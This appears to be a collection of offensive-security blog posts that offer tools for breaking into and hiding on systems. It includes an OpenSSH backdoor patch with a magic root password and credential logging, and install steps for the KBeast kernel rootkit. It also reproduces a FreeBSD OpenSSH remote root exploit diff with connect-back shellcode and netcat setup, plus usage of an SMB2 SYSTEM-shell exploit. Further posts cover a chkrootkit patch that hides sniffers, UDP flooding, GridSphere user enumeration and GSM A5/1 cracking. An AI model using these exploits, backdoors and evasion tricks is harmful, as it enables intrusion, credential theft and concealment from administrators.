How many of you using my OpenSSH 5.5p1 bakcdoor published on this url? It’s probably that you experience error about PAM and GSSAPI Authentication. In order to resolve this issue you must be enable PAM and Kerberos5 during compilation as shown below:

./configure –prefix=/usr –sysconfdir=/etc/ssh –enable-pam –enable-kerberos5

After successfully installing the OpenSSH backdoor and restarting sshd service, can you login as root with magic password? The answer is indeed “No”.  It’s because the authentication now handled by PAM module so authentication experiences failure. This experience may occur on Linux RHEL, CentOS, Ubuntu, and others family.

Read more »

KBeast (Kernel Beast) is new kernel rootkit based on the publicly known rootkit, modification is made in order to support kernel 2.6.16, 2.6.18, 2.6.32, and 2.6.35. Actually it should work for kernel 2.6.9 up to 2.6.35 or more, but our installer script is only created for 2.6.16, 2.6.18, 2.6.32, and 2.6.35. Below are quick step installing the beast:

• wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
• tar zxvf ipsecs-kbeast-v1.tar.gz
• cd kbeast-v1/
• modify config.h to meet your requirement, remember that _MAGIC_NAME_ must be user with sh/bash shell
• In order to install in kernel 2.6.16 or 2.6.18, execute ./setup build 0
• In order to install in kernel 2.6.32 or 2.6.35, execute ./setup build (actually it should work for the recent kernel)
• In order to install in kernel 2.6.9, edit .cc1 file to remove all sys_unlinkat() related code, modify syscall table address manually, then execute ./setup build 0

Be kind to note that the beast has been tested in, but not limited to, kernel 2.6.9, 2.6.16, 2.6.18, 2.6.32, 2.6.35 (i386 or x86_64). The feature of this rootkit are:

Read more »

I had presented general method of network & computer forensics for Depkominfo at November, 23th, 2011.  You can enjoy my presentation on my slideshare below:

OpenSSH can be modified as powerful unix/linux backdoor that gave instant root access without being logged by the system. It’s also possible to record username and password for all incoming or outgoing SSH login. Some patches has been developed in order to modify OpenSSH 2.x, OpenSSH 3.x, and OpenSSH 4.x as a backdoor. We develop patch for OpenSSH 5.5p1 which can be downloaded here.

OpenSSH FreeBSD Remote Root Exploit
By Kingcope

Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702
Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924
run like ./ssh -1 -z
setup a netcat, port 443 on yourip first

a statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2. The statically linked binary can be downloaded from http://isowarez.de/ssh_0day

I know these versions are really old, some seem to run that tough.

-Cheers, King “the archaeologist” Cope

diff openssh-5.8p2/ssh.c openssh-5.8p2_2/ssh.c
149a150
> char *myip;
195a197,203
> "OpenSSH FreeBSD Remote Root Exploit\n"
> "By Kingcope\n"
> "Year 2011\n\n"
> "Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702\n"
> "Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924\n"
> "run like ./ssh -1 -z \n"
> "setup a netcat, port 443 on yourip first\n\n"
299c307
< while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"
---
> while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:z:p:qstvx"
335a344,346
> break;
> case 'z':
> myip = optarg;
diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668,719
> //IP=\xc0\xa8\x20\x80
> #define IPADDR "\xc0\xa8\x20\x80"
> #define PORT "\x27\x10" /* htons(10000) */
>
> char sc[] =
> "\x90\x90"
> "\x90\x90"
> "\x31\xc9" // xor ecx, ecx
> "\xf7\xe1" // mul ecx
> "\x51" // push ecx
> "\x41" // inc ecx
> "\x51" // push ecx
> "\x41" // inc ecx
> "\x51" // push ecx
> "\x51" // push ecx
> "\xb0\x61" // mov al, 97
> "\xcd\x80" // int 80h
> "\x89\xc3" // mov ebx, eax
> "\x68"IPADDR // push dword 0101017fh
> "\x66\x68"PORT // push word 4135
> "\x66\x51" // push cx
> "\x89\xe6" // mov esi, esp
> "\xb2\x10" // mov dl, 16
> "\x52" // push edx
> "\x56" // push esi
> "\x50" // push eax
> "\x50" // push eax
> "\xb0\x62" // mov al, 98
> "\xcd\x80" // int 80h
> "\x41" // inc ecx
> "\xb0\x5a" // mov al, 90
> "\x49" // dec ecx
> "\x51" // push ecx
> "\x53" // push ebx
> "\x53" // push ebx
> "\xcd\x80" // int 80h
> "\x41" // inc ecx
> "\xe2\xf5" // loop -10
> "\x51" // push ecx
> "\x68\x2f\x2f\x73\x68" // push dword 68732f2fh
> "\x68\x2f\x62\x69\x6e" // push dword 6e69622fh
> "\x89\xe3" // mov ebx, esp
> "\x51" // push ecx
> "\x54" // push esp
> "\x53" // push ebx
> "\x53" // push ebx
> "\xb0\xc4\x34\xff"
> "\xcd\x80"; // int 80h
>
>
> extern char *myip;
>
678a731,748
>
> char buffer[100000];
>
> printf("OpenSSH Remote Root Exploit\n");
> printf("By Kingcope\n");
> printf("Year 2011\n\n");
> printf("Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702\n");
> printf("Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924\n");
> printf("Connect back to: %s:443\n", myip);
>
> *((unsigned long*)(sc + 21)) = inet_addr(myip);
> *((unsigned short*)(sc + 27)) = htons(443);
>
> memset(buffer, 'V', 8096);
> memcpy(buffer+24, "\x6b\x4b\x0c\x08", 4); // SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702
> memset(buffer+28, '\x90', 65535);
> memcpy(buffer+28+65535, sc, sizeof(sc));
> server_user=buffer;


OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
Discovered and Exploited By Kingcope – 2011

The last two days I have been investigating a vulnerability in OpenSSH affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run OpenSSH 3.5p1 in the default install.  The sshd banner for 4.11-RELEASE is:
"SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".

A working Remote Exploit which spawns a root shell remotely and previous to authentication was developed.  The bug can be triggered both through ssh version 1 and ssh version 2 using a modified ssh client. During the investigation of the vulnerability it was found that the bug resides in the source code file “auth2-pam-freebsd.c”.

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c

This file does not exist in FreeBSD releases greater than 5.2.1. The last commit is from 7 years ago.  Specifically the bug follows a code path in the PAM Authentication Thread inside this source code, “pam_thread()”. It could not be verified if the bug is inside this
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.

Both the challenge response (ssh version 1) and keyboard interactive via pam (ssh version 2) authentications go through this code path.  By supplying a long username to the daemon the sshd crashes.

h4x# sysctl kern.sugid_coredump=1
kern.sugid_coredump: 0 -> 1
root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
h4x# tail -1 /var/log/messages
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)

Looking into the coredump reveals:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x28092305 in ?? ()
(gdb) x/1i $eip
0x28092305:     (bad)

The sshd crahes at a place with illegal instructions. It looks like it depends on how the sshd is started. Starting the sshd from the console as root and running the ssh client with long username again reveals:

Read more »

Several years ago, i create backdoor which sends root shell to attacker without opening TCP/UDP port. Reverse shell is sent to attacker based on packet sniffed by backdoor. I can easily hide the file and process created by rootkit with system call redirection. But wait, i remember some things, common mistakes which usually left by attacker, here are their mistakes:

• Mesh up with binary file hash checksum, since i use kernel based rootkit this is not my concern.
• Forget to hide files, directory, process, tcp/udp ports.
• Forget to hide kernel rootkit from detection command likes lsmod, modinfo, modstat, kldstat.
• Forget to hide interface promiscuous mode and network sniffers.
• Above mistake can be detected by common rootkit hunters like chkrootkit and rkhunters

So what should we do?! My kernel rootkit almost solve all that mistakes except hiding my sniffer from chkrootkit. Rkhunter shows no anomaly but chkrootkit shows my sniffer.

eth0: PACKET SNIFFER(/opt/_xhidex_/_xhidex_getraw[14848])

System administrator will aware that someone runs sniffer on their machine, i did some hack to solve this issue which finally i decide to hack chkrootkit. Some years ago, i found someone did rush trick by aliasing chkrootkit to ‘cat <some_static_file>’. I bet that system administrator can quickly detect this trick. Fortunately chkrootkit is just shell script so we can modify this file easily. Here, you can download freely chkrootkit patch to hide your sniffers.

After patch being applied on chkrootkit, below are chkrootkit output:

eth0: not promisc and no packet sniffer sockets

Lesson which can be taken is that people talk so much things about rootkit, backdoor, malware, worm, botnet but they ussually forget to secure their toys. Starting now, install your tool on your own system before install them on some else machine. Check if gnu standard utility, chkrootkit, and rkhunter can detect your tool. The other lesson is that rootkit hunters should check itself so it can check its integrity. This check can be based on hash or other secure method so self detection can be perform accurately. As workaround for system administrator, after doing rootkit hunter installation please save its hash checksum. Please save both MD5 and SHA checksum to guarantee rootkit hunter integrity.

It’s been long time that i didn’t play with security toys, last night i did play with some toys called hping and fudp. Hping is useful tool to do manipulation on packet header so we can send traffic on any wish. This tool is really cool for manipulating IP, ICMP, UDP, and TCP headers. Fudp is tool which’s designed for UDP flooding. It can launch UDP flooding with/without IP spoofing. You can specify how long the flooding will run.

Unfortunately, IP spoofing is not worked for me. I remember during that time, we were the one who created configuration on operator border firewall to not allow spoofing and some flooding. You can read some documentation related to how to block attack on network/transport layer level. Below is some example:


set security screen ids-option untrust-screen icmp ping-death
set security screen ids-option untrust-screen ip source-route-option
set security screen ids-option untrust-screen ip tear-drop
set security screen ids-option untrust-screen ip spoofing
set security screen ids-option untrust-screen tcp syn-flood
set security screen ids-option untrust-screen tcp syn-fin
set security screen ids-option untrust-screen tcp fin-no-ack
set security screen ids-option untrust-screen tcp syn-frag
set security screen ids-option untrust-screen tcp land
set security screen ids-option untrust-screen udp flood
set security screen ids-option untrust-screen limit-session source-ip-based 100
set security zones security-zone untrust screen untrust-screen


Above is an example how to configure Screen on JunOS running on SRX Firewall. Have fun!

from: http://lists.grok.org.uk/pipermail/full-disclosure/2011-April/080031.html

BSD derived RFC3173 IPComp encapsulation will expand arbitrarily nested payload
——————————————————————————-

Gruezi, this document describes CVE-2011-1547.

RFC3173 ip payload compression, henceforth ipcomp, is a protocol intended to provide compression of ip datagrams, and is commonly used alongside IPSec (although there is no requirement to do so).

An ipcomp datagram consists of an ip header with ip->ip_p set to 108, followed by a 32 bit ipcomp header, described in C syntax below.

struct ipcomp {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved
uint16_t comp_cpi; // Compression Parameter Index
};

The Compression Parameter Index indicates which compression algorithm was used to compress the ipcomp payload, which is expanded and then routed as requested. Although the CPI field is 16 bits wide, in reality only 1 algorithm is widely implemented, RFC1951 DEFLATE (cpi=2).

It’s well documented that ipcomp can be used to traverse perimeter filtering, however this document discusses potential implementation flaws observed in popular stacks.

The IPComp implementation originating from NetBSD/KAME implements injection of unpacked payloads like so:

algo = ipcomp_algorithm_lookup(cpi);

/* … */

error = (*algo->decompress)(m, m->m_next, &newlen);

/* … */

if (nxt != IPPROTO_DONE) {
if ((inetsw[ip_protox[nxt]].pr_flags & PR_LASTHDR) != 0 &&
ipsec4_in_reject(m, NULL)) {
IPSEC_STATINC(IPSEC_STAT_IN_POLVIO);
goto fail;
}
(*inetsw[ip_protox[nxt]].pr_input)(m, off, nxt);
} else
m_freem(m);

/* … */

Where inetsw[] contains definitions for supported protocols, and nxt is a protocol number, usually associated with ip->ip_p (see
http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xml), but in this case from ipcomp->comp_nxt. m is the mbuf structure adjusted to point to the unpacked payload.

The unpacked packet is dispatched to the appropriate protocol handler directly from the ipcomp protocol handler. This recursive implementation fails to check for stack overflow, and is therefore vulnerable to a remote pre-authentication kernel memory corruption vulnerability.

The NetBSD/KAME network stack is used as basis for various other operating systems, such as Xnu, FTOS, various embedded devices and network appliances, and earlier versions of FreeBSD/OpenBSD (the code has since been refactored, but see the NOTES section regarding IPComp quines, which still permit remote, pre-authentication, single-packet, spoofed-source DoS in the latest versions).

The Xnu port of this code is close to the original, where the decompressed payload is recursively injected back into the toplevel ip dispatcher. The implementation is otherwise similar, and some alterations to the testcase provided for NetBSD should make it work. This is left as an exercise for the interested reader.

Read more »

People have talked so many things about how to hack the network, but do they remember data communication modeling? do they know how large network hacking scope? or they just know arp spoofing, dns poisoning, and denial of service? To understand complete (nearly?) process network hacking, they have to undestand data communication modeling like DoD (TCP/IP) model or most commonly used OSI model.

By undestanding OSI model concept, knowing all technology related to each OSI layer, and defining each vulnerability which may occurs on each layer they will know how large or how many technology should be assessed on the network or which technology may possesed vulnerability. This presentation try to tell everyone how to understand network hacking from its basic, yeah from OSI model concept. You can read it here!

It has been while story about SMB version 2 vulnerability since this post. Finally public exploit to take over control windows vista SP1 and SP2 are out! You can catch the exploit at exploit-db.

Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
---------------------------------------------------------------------

Exploited by Piotr Bania // www.piotrbania.com
Exploit for Vista SP2/SP1 only, should be reliable!

Tested on:
Vista sp2 (6.0.6002.18005)
Vista sp1 ultimate (6.0.6001.18000)

Kudos for:
Stephen, HDM, Laurent Gaffie(bug) and all the mates i know, peace.
Special kudos for prdelka for testing this shit and all the hosters.

Sample usage
------------

> smb2_exploit.exe 192.167.0.5 45 0
> telnet 192.167.0.5 28876

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>

When all is done it should spawn a port TARGET_IP:28876

RELEASE UPDATE 08/2010:
----------------------
This exploit was created almost a year ago and wasnt modified from that time
whatsoever. The vulnerability itself is patched for a long time already so
i have decided to release this little exploit. You use it for your own
responsibility and im not responsible for any potential damage this thing
can cause. Finally i don't care whether it worked for you or not.

P.S the technique itself is described here:

http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html

===========================================================================
Download:

http://www.exploit-db.com/sploits/smb2_exploit_release.zip

For your information, two days later at 19th August 2010, Kingcope released root exploit for FreeBSD 8.x and 7.x by poisoning mbufs() function. You may download Kingcope’s exploit here. Now happy exploiting while waiting “SAHUR” guys!

Just like what we promised before, this time we want to release grid toolkit which usable to perform pentest against grid computing infrastructure. It’s almost two years after we release paper related to grid computing [in]security at 2008. The paper contains of:

• Introduction to grid computing
• Grid computing scanning and enumeration
• Exploiting network and transport layer related to grid security
• Exploiting DNS to stop grid infrastructure trusteeship
• Exploiting web based – grid computing portal
• Cracking certificate authority pass phrase
• Exploiting headnode trusteeship using XML file

Some points mentioned can be exploited using existing network security tool while others are already supported by Grid Toolkit. Grid Toolkit uses python with some additional module which must be installed. The additional python module are:

• Module goto to support grid toolkit core program
• Module ClientForm to support grid portal guessing
• Module Paramiko to support certificate authority cracking

Grid toolkit supports to:

• Scanning and enumeration grid infrastructure
• Guessing login gridsphere – web based grid portal
• Cracking pass phrase of certificate authority private key file
• Exploiting headnode trusteeship using XML file

More reference about how to install and use this tool will be available soon, so just keep in touch with IPSECS. Finally you can download grid toolkit on gridtoolkit.sourceforge.net or reading python source code on core.ipsecs.com!

GSM A5 Cracking topic is started to be public material since The Hacker Choice disclosed their research. Many open source materials related to GSM are released to the public on Osmocomm. Now, tool called Kraken is freely distributed on internet to crack GSM A5.

I am pleased to announce the first release of a A5/1 cracker capable
using the full Berlin set of rainbow tables for lookups. I have named
this beast Kraken, after a Norse mythological creature capable of eating
many things for breakfast. Kraken feeds of an exclusive diet of A5/1
encrypted data.

Currently only a bare bone functionality is present, but the UI will be
improved, with the specific goal of providing an easy to use tool for
cracking GSM intercepts. But setting up this Leviathan can a bit
cumbersome, so I will give a short howto here:

Prerequisites:

* Linux machine, multicore min 3GB RAM
* 1.7 - 2TB of HD partitions without filsystem ( ex Samsung spinpoint F3s,
  with 4k aligned start of partition )
* The Berlin A5/1 Rainbow table set
* GPU support will be added for ATI Radeon HD

Setup:

Find out how many tables you want on each partition, (usually roughly
equal on each) and make the initial configuration file. An example
configuration folder can be found in tinkering/A5Util/indexes. This
folder should contain a tables.conf file. The example files shows a
setup of 4 disk having 10 tables each. The index files for the various
tables will be added to the index folder as they are written to disk.
The first section of the config file needs to be set up with the list of
available partitions, and the number of tables that each partition
should hold. A single table needs 42GB of space. (Do NOT change the
order of this section)

For safety reasons it is best not to build the tables running as root.
The you will then have to make your table partitions user accessible.
Add a file such as 10-disk.rules in /etc/udev/rules.d with one line for
each partition:

KERNEL=="sda1", OWNER="frank"

Then manually change the ownership of the device nodes with chown. Take
care when doing this, as you do not want to nuke any of your system
partitions.

Add tables to your disk array:

First build and make a symlink from your index folder to the
TableConvert tool. It is assumed that the Berlin tables are available in
either SSD or index free delta format. The python script Behemoth.py
will recursively search for tables, and add them to the disk array and
configuration file as needed. (Duplicates will not be added) - This
operation(s) will take some hours to complete, but when done you should
end up with a tables.conf file listing ~40 tables, their advance
parameter (id), which device they reside on, and a block offset into the
device.

Build and fire up Kraken:

./kraken path_to_index_folder

Currently it will only load up all tables, and crack TDMA burst 998 for
the challenge data. This takes 1.5 minutes on a 4 core Phenom II using
only CPU power, and the output should look like:

Cracking
0011011100110000000010000011000110001001101101100110110100111100011010
10100100101111111010111100000110101001101011
Found de6bb5e60617f95c @ 12
Found 6fb7905579e28bfc @ 23

A more interactive UI with appropriate data formats (representations)
will be added for easy interfacing with airprobe. Optional GPU support
will also be added for faster cracking time.

cheers,
Frank

Source : http://lists.lists.reflextor.com/pipermail/a51/2010-July/000683.html

Well the article form http://computerworld.com is really nice to read!

Read more »

It’s easy to intercept data communication inside linux/unix environment since there are so many tools to help us. We have tcpdump, wireshark, ettercap, dsniff, and still many others. But, can you imagine how to sniff data flows trough router? If our router are Juniper family, then we are lucky enough because Juniper has internal command which works like tcpdump on unix/linux system. For example, we can use this following command to sniff traffic on Juniper interface ge-0/0/0.0

monitor traffic interface ge-1/0/0.0 detail no-resolve
monitor traffic interface ge-1/0/0.0 detail no-resolve print-ascii print-hex

These two commands will work in Juniper like tcpdump in linux/unix below:

tcpdump -nev -i ge-1/0/0.0
tcpdump -nev -X -i ge-1/0/0.0

But remember, ge-1/0/0.0 interface is not known in linux/unix so that’s why you have to change this with Network Interface Card (NIC) in linux/unix. Then, how if our router is not Juniper family? Here, i’ll write my experience in sniffing inside Cisco router which’s known as the most popular router over the world.

Read more »

GridSphere is web based portal framework to access grid computing resources. The GridSphere provides an open-source portlet based Web portal. GridSphere enables developers to quickly develop and package third-party portlet web applications that can be run and administered within the GridSphere portlet container.

GridSphere which is critically uses to access grid resource is found to be vulnerable that can be exploited to enumerate a user is valid or not in grid. This vulnerability exist due to the response of gridsphere in handling in-exist user with “User does not exist“. To exploit this issue, you can use this python script.

python gridsphere-brute.py https://example.com/acgt/portal?cid=login users.txt

[INVALID] anto
[INVALID] abc
[INVALID] betha
[INVALID] een
[INVALID] nita
[INVALID] aris
[INVALID] atik
[INVALID] babas
[INVALID] alex
[OK] admin
[INVALID] fuck
[INVALID] lisa
[INVALID] ifa
[INVALID] hana
[INVALID] bram

IPSECS has developed some tools to assess grid computing security years ago which can be download here. The tools is encoded in ASCII and bundled with article which explains grid computing [in]security written in indonesian. The tools provided can be used to:

• Enumerate headnode by identifying GridFTP Service and Web Service Container
• Crack private key in Certificate Authority
• Exploit others headnode in grid when a headnode and its certificate compromised.

For your information, currently IPSECS is developing grid-toolkit to make grid computing penetration much more easier.